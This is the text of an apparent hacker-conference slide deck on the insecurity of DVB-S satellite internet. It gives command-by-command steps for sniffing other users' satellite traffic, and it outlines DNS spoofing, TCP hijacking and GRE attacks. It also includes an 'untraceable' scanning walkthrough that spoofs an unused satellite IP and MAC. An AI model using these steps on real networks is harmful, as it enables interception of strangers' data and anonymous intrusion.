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Playing in a Satellite environment 1.2

Why 1.2?

1. because I'm sure that some people will publish more attacks.
- .2 cause previously presentations about satellite.


Who commented this before?

- Warezzman – (in 2004 at Undercon VIII first Spanish hacker CON)
- Jim Geovedi & Raditya Iryandi (HITBSecConf2006)
- Adam Laurie (Blackhat 2009 at DC)
- Myself at S21Sec Blog (February 2009)

Intro to SAT

- Orbit based satellites
 - Low Earth orbiting (LEO)
 - Geostationary orbit (GEO)
 - Other: Molniya, Alta (HEO), etc.
- Function based satellites
 - Communications
 - Earth observation
 - Other: Scientifics, ISS, etc.

Intro to SAT



Intro to SAT

- Satellite LEO
 - Meteorological
 - HAM (Amateur Radio Operator)
- Satellite GEO
 - UFO (UHF Follow ON) Military
 - Inmarsat
 - Meteorological (Meteosat)
 - SCPC / Telephony link FDMA



**The signal from the sky you ever
waiting**


DVB

- Standard of European Telecommunications Standards Institute (ETSI).
- Defines audio and video transmission, and data connections.
- DVB-S & DVB-S2 is the specification for Satellite communications.

DVB-S

- Transponder: Like channels (in Satellite comms)
 - Frequency (C band or Ku). Ex: 12.092Ghz
 - Polarization. (horizontal/vertical)
 - Symbol Rate. Ex: 27500Kbps
 - FEC.
- Every satellite has many transponders onboard which are operating on different frequencies

DVB-S



DVB-S

Header

0x47	Flags	PID	Flags
------	-------	-----	-------

Body

Adaptation Field	Data
------------------	------

Program ID (PID): It permits different programs at same transponder with different components [Example BBC1 PIDs: 600 (video), 601 (English audio), 603 (subtitles), 4167 (teletext)]

Special PIDs: NIT (Network Information Table), SDT (Service Description Table), PMT (Program Map Tables), PAT (Program Association Table).

DVB Feeds

- Temporal video links.
- Live emissions, sports, news.
- Temporal.
- FTA – In open video.

DVB Feeds



Hispasat Pre news feed (live news)

DVB Feeds



ATLAS Agency to TV
feeds

DVB Feeds

The screenshot shows the BBC News website in a web browser window. The address bar displays the URL: <http://news.bbc.co.uk/1/hi/programmes/newsnight/2041754.stm>. The page features the BBC News logo and a navigation bar with links to CATEGORIES, TV, RADIO, COMMUNICATE, WHERE I LIVE, INDEX, and a SEARCH button. The main content area is titled "Newsnight" and includes the date "Thursday, 13 June, 2002, 00:28 GMT 01:28 UK". The headline reads "Enthusiast watches Nato spy pictures". The article is by Mark Urban, Newsnight's Diplomatic Editor. The text states: "Nato surveillance flights in the Balkans are beaming their pictures over an insecure satellite link - and anyone can tune in and watch their operations live. The discovery was made last November by John Locker, a satellite enthusiast in north west England. He told Newsnight that he spent". A small photo of a man is visible next to the text. On the right side, there is a "WATCH/LISTEN ON THIS STORY" section with a link to "The BBC's Mark Urban" and a quote: "A serious threat to Nato continues". Below this is a "Newsnight" section with links to Home, Newsnight Review, Latest programme, Recent highlights, About Newsnight, and Contact us. At the bottom right, there is a "NATO security risk?" section with a "See also:" list of related stories and an "Internet links:" section.

BBC NEWS | Programmes | ... x

http://news.bbc.co.uk/1/hi/programmes/newsnight/2041754.stm

BBC CATEGORIES TV RADIO COMMUNICATE WHERE I LIVE INDEX SEARCH Go

BBC NEWS

You are in: Programmes: Newsnight

News Front Page
World
UK
England
N Ireland
Scotland
Wales
Politics
Business
Entertainment
Science/Nature
Technology
Health
Education

Talking Point

Country Profiles
In Depth

Programmes

BBC SPORT
BBC WEATHER
BBC NEWS

SERVICES
Daily E-mail
News Ticker
Mobile/PDAs

Text Only
Feedback
Help

EDITIONS
Change to World

Newsnight
Thursday, 13 June, 2002, 00:28 GMT 01:28 UK

Enthusiast watches Nato spy pictures

By Mark Urban
Newsnight's Diplomatic Editor

Nato surveillance flights in the Balkans are beaming their pictures over an insecure satellite link - and anyone can tune in and watch their operations live.

The discovery was made last November by John Locker, a satellite enthusiast in north west England.

He told Newsnight that he spent

WATCH/LISTEN ON THIS STORY
The BBC's Mark Urban
"A serious threat to Nato continues"

Newsnight

Home
Newsnight Review
Latest programme
Recent highlights
About Newsnight
Contact us

newsnight
FORUM

NATO security risk?

See also:

- 09 Mar 00 | Europe
Nato spy 'leaked bombing secrets'
- 09 Mar 00 | Politics
Nato spy revelations 'staggering'
- 23 Oct 01 | Americas
Hacktivists take sides in war

Internet links:

DVB Feeds



Captured NATO feeds

DVB Feeds

- Find feeds:
 - Lists of channels in [www](#)
 - Blind Scan
 - Visual representations of the signal

DVB Feeds - Too know more

- Dr HANS

- <http://drhans.jinak.cz/news/index.php>

- Zackyfiles

- <http://www.zackyfiles.com> (in spanish)

- Satplaza

- <http://www.satplaza.com>

DVB Data

- Two scenarios
 - Satmodem
 - Satellite Interactive Terminal (SIT) or Astromodem

DVB Data - Satmodem




CLIENT

INTERNET




ISP


DVB Data - Satmodem




DVB Data - Satmodem




DVB Data - Satmodem



DVB Data - Satmodem



DVB Data - Satmodem




Satellite Coverage

Typical combined downlink coverages for EURO-BIRD™ 3 at 33° East



Satellite Coverage



DVB Data

Anyone with coverage can SNIFF the DVB Data, and normally it is unencrypted.

DVB Data

- What do you need:
 - Skystar 2 DVB Card
 - linuxtv-dvb-apps
 - Wireshark
 - The antenna
 - Data to orientate it (Internet)

DVB Data

I bought it for 50€!!! from an
PayTV ex-"hacker" :P
(Including a set-top box that I will
not use)

DVB Data

ebay skystar 2, Computers Netw... x

http://shop.ebay.com/items/_W0QQ_nkwZskystarQ202QQ_armrsZ1QQ_fromZR40QQ_mdoZ

ADVERTISEMENT (about)

Personalize Gift and Greeting Cards

Use your own photos and we'll deliver to their door

Buy Gift Cards

ebay

Home > Buy > Search results for "skystar 2" [Opt out of the new search experience](#)

Find in [[Advanced Search](#)]

☐ Include title and description

Related Searches: [skystar](#), [skystar hd](#), [skystar usb](#), [dreambox](#), [skystar hd2](#)

Refine search

▼ Categories

Computers & Networking (2)

PC Components (2)

In Computer Video & TV Cards

▼ Price

\$ to \$



► Brand

► Installed Memory

All items Auctions only Buy It Now only

2 results found for **skystar 2** [[Save this search](#)]

View as (..) [[Customize view](#)] Sort by Best Match

		Price	Time Left
	SkyStar 2 TV PCI Revision 2.6D for Satellite Internet	 Buy it Now \$41.00	6d 1h 4m
	SkyStar 2 TV PCI Revision 2.6D for Satellite Internet	 2 Bids \$24.00	2d 0h 45m

2 items found in eBay Stores  


DVB Data


satellite antenna, Electroni... x


Google


http://shop.ebay.com/items/_W0QQ_dmptZPCCQ5fVideoQ5fTVQ5fCards?_nkw=satellite+antenna&_sacat=0&_fromfsb=&_trk


Enlarge




 **DirectTV round 18" satellite dish antenna directv DTV** P 2 Bids **\$10.50**

 **XM RADIO TRUCK / SEMI SATELLITE ANTENNA HI-GAIN NEW** P ~~Buy It Now~~ **\$39.99** **Free shipping**
FREE SHIPPING ! 2ND DAY SHIPPING ONLY \$9

 **XM Home Antenna Satellite Radio SKYFi SKYFi3 XMP3 NEW** P 0 Bids **\$9.95** **Free shipping** ~~Buy It Now~~ **\$12.95**
Works with all newer XM Receivers! Free Shipping!

 **NEW DirectTV round 18" satellite dish antenna directv** P 4 Bids **\$11.52**

 **XM-9000 XM Satellite Radio Semi Truck RV Antenna, NIB** P ~~Buy It Now~~ **\$39.95** **Free shipping**

DVB Data

Linux has the modules for this card by default, we only need the tools to manage it:

linuxtv-dvb-apps

My version is 1.1.1 and I use Fedora(Not too cool to use Debian :P).

Sniffing Data

Once the antenna and the card is installed and linuxtv-dvb-apps compiled and installed, the process is:

- 1- Tune the DVB Card
- 2- Find a PID with data
- 3- Create an Ethernet interface associated to that PID

We can repeat 2 to 3 any times we want.

Sniffing Data

Tune DVB Card

The tool we must use is *szap* and we need the transponder's parameters in a configuration file.

For example, for "Sirius-4 Nordic Beam":

```
# echo "sirius4N:12322:v:0:27500:0:0:0" >> channels.conf
```

We run *szap* with the channel configuration file and the transponder we want use (the configuration file can have more than one).

```
# szap -c channels.conf sirius4N
```

Sniffing Data

Tune DVB Card

We run szap with the channel configuration file and the transponder we want use (the configuration file can have more than one).

```
# szap -c channels.conf sirius4N
```

We must maintain it running.

Sniffing Data

```
root@sathunter:~  
[root@sathunter ~]# szap -c channels.conf data1  
reading channels from file 'channels.conf'  
zapping to 1 'data1':  
sat 0, frequency = 12591 MHz V, symbolrate 30000000, vpid = 0x0000, apid = 0x000  
0  
using '/dev/dvb/adapter0/frontend0' and '/dev/dvb/adapter0/demux0'  
status 03 | signal 6aea | snr 6c99 | ber 00008856 | unc 00000000 |  
status 1f | signal b146 | snr d7ca | ber 00000af3 | unc 00000000 | FE_HAS_LOCK  
status 1f | signal b1b5 | snr d803 | ber 00000000 | unc 00000000 | FE_HAS_LOCK  
status 1f | signal b072 | snr d746 | ber 00000000 | unc 00000000 | FE_HAS_LOCK  
status 1f | signal b1ad | snr d782 | ber 00000000 | unc 00000000 | FE_HAS_LOCK  
status 1f | signal b12b | snr d7c7 | ber 00000000 | unc 00000000 | FE_HAS_LOCK  
status 1f | signal b181 | snr d776 | ber 00000000 | unc 00000000 | FE_HAS_LOCK  
status 1f | signal b164 | snr d7bb | ber 00000000 | unc 00000000 | FE_HAS_LOCK
```

Sniffing Data

The transponder parameters can be found around Internet.

<http://www.fastsatfinder.com/transponders.html>

Sniffing Data

- Find a PID

```
#dvbsnoop -s pidscan
```

Search for *data section* on results.

Sniffing Data

 root@sathunter:~

```
[root@sathunter ~]# dvbsnoop -s pidscan  
dvbsnoop V1.4.50 -- http://dvbsnoop.sourceforge.net/
```

```
-----  
Transponder PID-Scan...  
-----
```

```
PID found:    0 (0x0000)  [SECTION: Program Association Table (PAT)]  
PID found:   16 (0x0010)  [SECTION: Network Information Table (NIT) - actual network]  
PID found:   17 (0x0011)  [SECTION: Service Description Table (SDT) - actual transport stream]  
PID found:   20 (0x0014)  [SECTION: Time Date Table (TDT)]  
PID found: 1000 (0x03e8)  [SECTION: Program Map Table (PMT)]  
PID found: 1001 (0x03e9)  [SECTION: Program Map Table (PMT)]  
PID found: 1010 (0x03f2)  [SECTION: User private]  
PID found: 1011 (0x03f3)  [SECTION: User private]  
PID found: 1012 (0x03f4)  [SECTION: User private]  
PID found: 1013 (0x03f5)  [SECTION: User private]  
PID found: 1014 (0x03f6)  [SECTION: Network Information Table (NIT) - other network]  
PID found: 1020 (0x03fc)  [SECTION: DSM-CC - private data section // DVB datagram]  
PID found: 1021 (0x03fd)  [SECTION: DSM-CC - private data section // DVB datagram]  
PID found: 1022 (0x03fe)  [SECTION: DSM-CC - private data section // DVB datagram]  
PID found: 1023 (0x03ff)  [SECTION: DSM-CC - private data section // DVB datagram]  
PID found: 1025 (0x0401)  [SECTION: DSM-CC - private data section // DVB datagram]  
PID found: 1026 (0x0402)  [SECTION: DSM-CC - private data section // DVB datagram]
```


Sniffing Data

- Create an interface associated to a PID

```
#dvbnet -a <adapter number> -p <PID>
```

- Activate it

```
#ifconfig dvbo_<iface number> up
```

Sniffing Data

 root@sathunter:~

```
[root@sathunter ~]# dvbnet -a 0 -p 1022
```

DVB Network Interface Manager

Version 1.1.0-TVF (Build vie mar 06 12:54:43 2009)

Copyright (C) 2003, TV Files S.p.A

Device: /dev/dvb/adapter0/net0

Status: device dvb0_0 for pid 1022 created successfully.

```
[root@sathunter ~]# ifconfig dvb0_0 up
```

```
[root@sathunter ~]# ifconfig dvb0_0
```

```
dvb0_0      Link encap:Ethernet  HWaddr 00:D0:D7:0C:67:8D
            inet6 addr: fe80::2d0:d7ff:fe0c:678d/64 Scope:Link
            UP BROADCAST RUNNING NOARP MULTICAST  MTU:4096  Metric:1
            RX packets:0 errors:0 dropped:0 overruns:0 frame:0
            TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
            collisions:0 txqueuelen:1000
            RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)
            Base address:0x3fe
```

```
[root@sathunter ~]# █
```

Sniffing Data

Back to de pidscan results

root@sathunter:~

```
[root@sathunter ~]# dvbsnoop -s pidscan  
dvbsnoop V1.4.50 -- http://dvbsnoop.sourceforge.net/
```

Transponder PID-Scan...

PID found:	0 (0x0000)	[SECTION: Program Association Table (PAT)]
PID found:	16 (0x0010)	[SECTION: Network Information Table (NIT) - actual network]
PID found:	17 (0x0011)	[SECTION: Service Description Table (SDT) - actual transport stream]
PID found:	20 (0x0014)	[SECTION: Time Date Table (TDT)]
PID found:	1000 (0x03e8)	[SECTION: Program Map Table (PMT)]
PID found:	1001 (0x03e9)	[SECTION: Program Map Table (PMT)]
PID found:	1010 (0x03f2)	[SECTION: User private]
PID found:	1011 (0x03f3)	[SECTION: User private]
PID found:	1012 (0x03f4)	[SECTION: User private]
PID found:	1013 (0x03f5)	[SECTION: User private]
PID found:	1014 (0x03f6)	[SECTION: Network Information Table (NIT) - other network]
PID found:	1020 (0x03fc)	[SECTION: DSM-CC - private data section // DVB datagram]
PID found:	1021 (0x03fd)	[SECTION: DSM-CC - private data section // DVB datagram]
PID found:	1022 (0x03fe)	[SECTION: DSM-CC - private data section // DVB datagram]
PID found:	1023 (0x03ff)	[SECTION: DSM-CC - private data section // DVB datagram]
PID found:	1025 (0x0401)	[SECTION: DSM-CC - private data section // DVB datagram]
PID found:	1026 (0x0402)	[SECTION: DSM-CC - private data section // DVB datagram]


Sniffing Data

Create another interface

```
root@sathunter:~  
[root@sathunter ~]# dvbnet -a 0 -p 1021  
  
DVB Network Interface Manager  
Version 1.1.0-TVF (Build vie mar 06 12:54:43 2009)  
Copyright (C) 2003, TV Files S.p.A  
  
Device: /dev/dvb/adapter0/net0  
Status: device dvb0_1 for pid 1021 created successfully.  
[root@sathunter ~]# ifconfig dvb0_1 up  
[root@sathunter ~]# ifconfig dvb0_1  
dvb0_1      Link encap:Ethernet  HWaddr 00:D0:D7:0C:67:8D  
            inet6 addr: fe80::2d0:d7ff:fe0c:678d/64 Scope:Link  
            UP BROADCAST RUNNING NOARP MULTICAST  MTU:4096  Metric:1  
            RX packets:0 errors:0 dropped:0 overruns:0 frame:0  
            TX packets:0 errors:0 dropped:0 overruns:0 carrier:0  
            collisions:0 txqueuelen:1000  
            RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)  
            Base address:0x3fd
```

Sniffing Data

Wireshark is our friend

A terminal window with a blue title bar containing the text 'root@sathunter:~'. The terminal shows the command '[root@sathunter ~]# tshark -ni dvb0_1 -w /dev/null' being executed. Below the command, the output 'Capturing on dvb0_1' is displayed, followed by the number '16358' on the next line. The prompt '[root@sathunter ~]#' is shown again with a green cursor. The window has standard Linux window controls (minimize, maximize, close) in the top right corner and a scrollbar on the right side.

```
root@sathunter:~  
[root@sathunter ~]# tshark -ni dvb0_1 -w /dev/null  
Capturing on dvb0_1  
16358  
[root@sathunter ~]#
```

16358 packets in 10 seconds

Sniffing data

Wireshark: Protocol Hierarchy Statistics

Display filter: none

Protocol	% Packets	Packets	Bytes	Mbit/s	End Packets	End Bytes	End Mbit/s
[-] Frame	100,00%	17122	11988350	7,650	0	0	0,000
[-] Ethernet	100,00%	17122	11988350	7,650	0	0	0,000
[-] Internet Protocol	100,00%	17122	11988350	7,650	0	0	0,000
[-] Generic Routing Encapsulation	13,41%	2296	1100945	0,703	7	294	0,000
[-] User Datagram Protocol	7,67%	1313	489998	0,313	0	0	0,000
[-] Domain Name Service	0,71%	121	23855	0,015	120	23750	0,015
Data	3,84%	658	286093	0,183	658	286093	0,183
[-] UDP Encapsulation of IPsec Packets	2,98%	510	177409	0,113	1	43	0,000
eDonkey Protocol	0,02%	4	305	0,000	4	305	0,000
Simple Network Management Protocol	0,04%	7	700	0,000	7	700	0,000
Internet Security Association and Key Management Protocol	0,05%	9	1271	0,001	9	1271	0,001
Hypertext Transfer Protocol	0,01%	1	95	0,000	1	95	0,000
Network Time Protocol	0,02%	3	270	0,000	3	270	0,000
[-] Transmission Control Protocol	64,99%	11128	8923504	5,694	4796	1517444	0,968
[-] Hypertext Transfer Protocol	25,23%	4320	6194417	3,953	4165	6093498	3,888
Data	7,31%	1251	970027	0,619	1251	970027	0,619
Simple Mail Transfer Protocol	1,27%	218	28045	0,018	218	28045	0,018
MSN Messenger Service	0,19%	32	6636	0,004	32	6636	0,004
[-] Secure Socket Layer	1,43%	244	132109	0,084	243	131519	0,084
TPKT - ISO on TCP - RFC1006	0,22%	37	2451	0,002	37	2451	0,002
SSH Protocol	0,22%	38	6256	0,004	38	6256	0,004
[-] Financial Information eXchange Protocol	0,05%	8	1157	0,001	6	558	0,000
Post Office Protocol	0,66%	113	59548	0,038	113	59548	0,038
Modbus/TCP	0,18%	30	1980	0,001	30	1980	0,001
[-] Virtual Network Computing	0,15%	26	1616	0,001	0	0	0,000
MySQL Protocol	0,01%	2	224	0,000	2	224	0,000
Firebird SQL Database Remote Protocol	0,07%	12	1520	0,001	12	1520	0,001
Point-to-Point Tunnelling Protocol	0,01%	1	74	0,000	1	74	0,000
Data	0,19%	33	1914	0,001	33	1914	0,001
Encapsulating Security Payload	13,33%	2283	1466738	0,936	2283	1466738	0,936
Internet Control Message Protocol	0,40%	69	5251	0,003	69	5251	0,003

Sniffing Data

- We can have more than one PID assigned to an interface, this will be very useful.
- Malicious users can:
 - catch passwords.
 - Catch cookies and get into authenticated HTTP sessions.
 - Read emails
 - Catch sensible files
 - Do traffic analysis
 - etc

Sniffing Data

Remainder:

In satellite communications we have two scenarios:

A- Satmodem, Only Downlink via Satellite

B- Astromodem, Both uplink and downlink via Satellite.

Sniffing Data

In Satmodem scenario we can only sniff the downloaded data. We can only sniff one direction in a connection.

Sniffing data

In Astromodem scenario, if we find the PID used to send the uploaded packets to the main ISP to be routed to Internet, we can sniff all the traffic, uploaded and downloaded data.

Active Attacks

For this chapter, we will suppose all the time that we are in a Satmodem scenario so we can't sniff uploaded data of the client with the Sat link.

Some “old” Stuff in Sat hacking

- DNS Spoofing
- TCP hijacking
- Attacking GRE

DNS Spoofing

- Data we need to realize this attack
 - DNS Request ID
 - Source Port
 - Source IP
 - Destination IP
 - Name/IP asking for


DNS Spoofing

- It's trivial see that if we sniff a DNS request we have all that information and we can spoof the answer.
(and Dan Kaminsky can rule the world)
- Many many tools around that do this job, the only thing also we need is to be faster than the real dns server.

DNS Spoofing



- Why is this attack important?
 - Think in phishing
 - We this attack, uplink sniff can be possible
 - Rogue WPAD service
 - sslstrip can be use to avoid ssl connections.

TCP hijacking



If we sniff **1** we can predict Seq and Ack of **2** and we can send the payload we want **3** will we not accepted by **B**.

TCP Hijacking



TCP Hijacking

- Initially we can only have a false connection with A.
- In certain circumstances, we can make this attack to B, when L2 is predictable (whitepaper soon).
- Some tools to doing this:
 - Hunt
 - Shijack
 - Scapy

Attacking GRE

- Generic Routing Encapsulation
- Point to point tunneling protocol
- 13% of Satellite's data traffic in our transponder is GRE


Attacking GRE

This chapter is based in Phenoelit's discussion paper written by FX applied to satellite scenario.

Original paper:

<http://www.phenoelit-us.org/irpas/gre.html>

Attacking GRE



Attacking GRE

Find a target:

```
#tshark -ni dvbo_0 -R gre -w capture.cap
```

Attacking GRE


GRE Packet

IP dest 1	IP source 1


Attacking GRE

- IP destination and source 1 must be Internet reachable IPs
- The payload's IPs used to be internal.

Attacking GRE



Attacking GRE




Attacking GRE

(*) GRE Packet

1.1.1.1	1.1.1.2

Attacking GRE





Attacking GRE

(1) GRE Packet

1.1.1.1	1.1.1.2

Attacking GRE




Attacking GRE

(2) IP Packet

10.0.0.5	10.0.0.54

Attacking GRE




Attacking GRE

(3) IP Packet

10.0.0.54	10.0.0.5

Attacking GRE



Attacking GRE

(4) GRE Packet

1.1.1.2	1.1.1.1

Attacking GRE

At Phenoelit's attack payload's IP source is our public IP. This attack lacks if that IP isn't reachable from the internal LAN and you can be logged.

I use internal IP because we can sniff the responses.

To better improve the attack, find a internal IP not used.

HTSNACBT Attack

How
To
Scan
NSA
And
Cannot
Be
Traced

HTSNACBT Attack

We can spoof (putting a satellite's routable source IP) a *SYN packet* with any destination IP and *TCP* port, and we can sniff the responses.

We can analyze the responses.

HTSNACBT Attack

OR... We can configure our linux like a satellite connected host.

VERY EASY!!!

HTSNACBT Attack

- What we need:
 - An internet connection (Let's use it as uplink) with any technology which let you spoofing.
 - A receiver, a card....

HTSNACBT Attack

- Let's rock!
 - Find a satellite IP not used, I ping IPs next to another sniffable satellite IP to find a non responding IP. We must sniff our ping with the DVB Card (you must save the packets).
 - This will be our IP!

HTSNACBT Attack

- Configure Linux to use it.

```
root@sathunter:~  
[root@sathunter ~]# arp -n  
Address HWtype HWaddress Flags Mask Iface  
192.168.1.50 ether 00:13:02:49:23:73 C eth0  
[REDACTED] 2 ether [REDACTED] 3 C eth2  
[REDACTED] ether [REDACTED] C eth2  
8[REDACTED].1 ether 00:05:[REDACTED]:01 C eth2  
[root@sathunter ~]#
```

We need our router's MAC

HTSNACBT Attack

Configure our dvb interface to receive this IP
(I suppose that you have configure the PID...)

The IP is the one we have selected and in the ICMP scan, we must get the destination MAC sniffed.

HTSNACBT Attack

root@sathunter:~

```
[root@sathunter ~]# tshark -Vnr sat_captured.cap | less
```

```
Frame 1 (54 bytes on wire, 54 bytes captured)
```

```
Arrival Time: Mar 25, 2009 01:58:47.220140000
```

```
[Time delta from previous captured frame: 0.000000000 seconds]
```

```
[Time delta from previous displayed frame: 0.000000000 seconds]
```

```
[Time since reference or first frame: 0.000000000 seconds]
```

```
Frame Number: 1
```

```
Frame Length: 54 bytes
```

```
Capture Length: 54 bytes
```

```
[Frame is marked: False]
```

```
[Protocols in frame: eth:ip:tcp]
```

```
Ethernet II, Src: 00:00:00:00:00:00 (00:00:00:00:00:00), Dst: 00:6[REDACTED] (00:6[REDACTED])
```

```
Destination: 00:6[REDACTED] (00:6[REDACTED])
```

```
Address: 00:6[REDACTED] (00:6[REDACTED])
```

```
.... 0... = IG bit: Individual address (unicast)
```

```
.... 0... = LG bit: Globally unique address (factory default)
```

```
Source: 00:00:00:00:00:00 (00:00:00:00:00:00)
```

```
Address: 00:00:00:00:00:00 (00:00:00:00:00:00)
```

```
.... 0... = IG bit: Individual address (unicast)
```

```
.... 0... = LG bit: Globally unique address (factory default)
```

```
Type: IP (0x0800)
```

```
Internet Protocol, Src: 8[REDACTED]4 (8[REDACTED]4), Dst: [REDACTED]73 ([REDACTED]73)
```

```
Version: 4
```

```
Header length: 20 bytes
```

```
Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
```

```
0000 00.. = Differentiated Services Codepoint: Default (0x00)
```

```
.... 0... = ECN-Capable Transport (ECT): 0
```

```
.... 0... = ECN-CE: 0
```

```
Total Length: 40
```

```
Identification: 0x9cb4 (40116)
```

```
Flags: 0x00
```

```
0... = Reserved bit: Not set
```

Here we get the MAC
address we must configure
in our DVB interface

HTSNACBT Attack

 root@sathunter:~

```
[root@sathunter ~]# ifconfig dvb0_0 [REDACTED] 73 netmask 255.255.255.255 hw ether 00:6[REDACTED]b  
[root@sathunter ~]#
```

I use netmask /32 to avoid routing problems

HTSNACBT Attack

Now we can configure our Internet interface with the same IP and configure a default route with a false router setting this one with a static MAC (our real router's MAC).


HTSNACBT Attack

 root@sathunter:~

```
[root@sathunter ~]# ifconfig eth2 [REDACTED]73 netmask 255.255.255.252  
[root@sathunter ~]# route add default gw [REDACTED]74 dev eth2  
[root@sathunter ~]# arp -s [REDACTED]74 00:05:[REDACTED]01  
[root@sathunter ~]# █
```

HTSNACBT Attack

IT WORKS!



```
root@sathunter:~  
[root@sathunter ~]# ping www.nsa.gov  
PING www.nsa.gov (12.110.110.204) 56(84) bytes of data.  
  
--- www.nsa.gov ping statistics ---  
4 packets transmitted, 0 received, 100% packet loss, time 2999ms  
  
[root@sathunter ~]# ping www.google.es  
PING www.l.google.com (209.85.229.99) 56(84) bytes of data.  
64 bytes from ww-in-f99.google.com (209.85.229.99): icmp_seq=1 ttl=237 time=69.0 ms  
64 bytes from ww-in-f99.google.com (209.85.229.99): icmp_seq=2 ttl=237 time=59.6 ms  
  
--- www.l.google.com ping statistics ---  
2 packets transmitted, 2 received, 0% packet loss, time 1000ms  
rtt min/avg/max/mdev = 59.685/64.360/69.036/4.682 ms  
[root@sathunter ~]#
```


HTSNACBT Attack

This is all !!!

Some things you must remember:

The DNS server must allow request from any IP or you must use the satellite ISP DNS server.

If you have any firewall (iptables) disable it.

HTSNACBT Attack

Some things you must remember:

The DNS server must allow request from any IP or you must use the satellite ISP DNS server.

If you have any firewall (iptables) disable it.

All the things you make can be sniffed by others users.

HTSNACBT Attack

Now attacking GRE is very easy, you only need to configure your Linux with IP of one of the routers (the one with the satellite connection) and configure the tunneling.

[http://www.google.es/search?
rlz=1C1GPEA_en_ES312&sourceid=chrome&ie=UTF-8&q=configuring
+GRE+linux](http://www.google.es/search?rlz=1C1GPEA_en_ES312&sourceid=chrome&ie=UTF-8&q=configuring+GRE+linux)

The other scenario

What happened with the scenario where the client use an astromodem?

We can capture the downlink and the uplink so all these attacks are easier to do.

We can capture all queries for the DNS Spoofing attack.

We can capture all traffic in a TCP connection, we can hijack easily in any direction.

What TODO now?

- I'm studying the different methods to trace illegal users. (I only have a few ideas).
- In the future I would like to study the possibilities of sending DVB data to Satellite via Astromodem.

Conclusions

- Satellite communications are insecure.
- It can be sniffed.
- A lot of attacks can be made, I just talked about only few level 4 and level 3 attacks.

Conclusions

- With these technology in our sky, an anonymous connection is possible.
- Many kinds of Denial of Service are possible.

THANK YOU!!!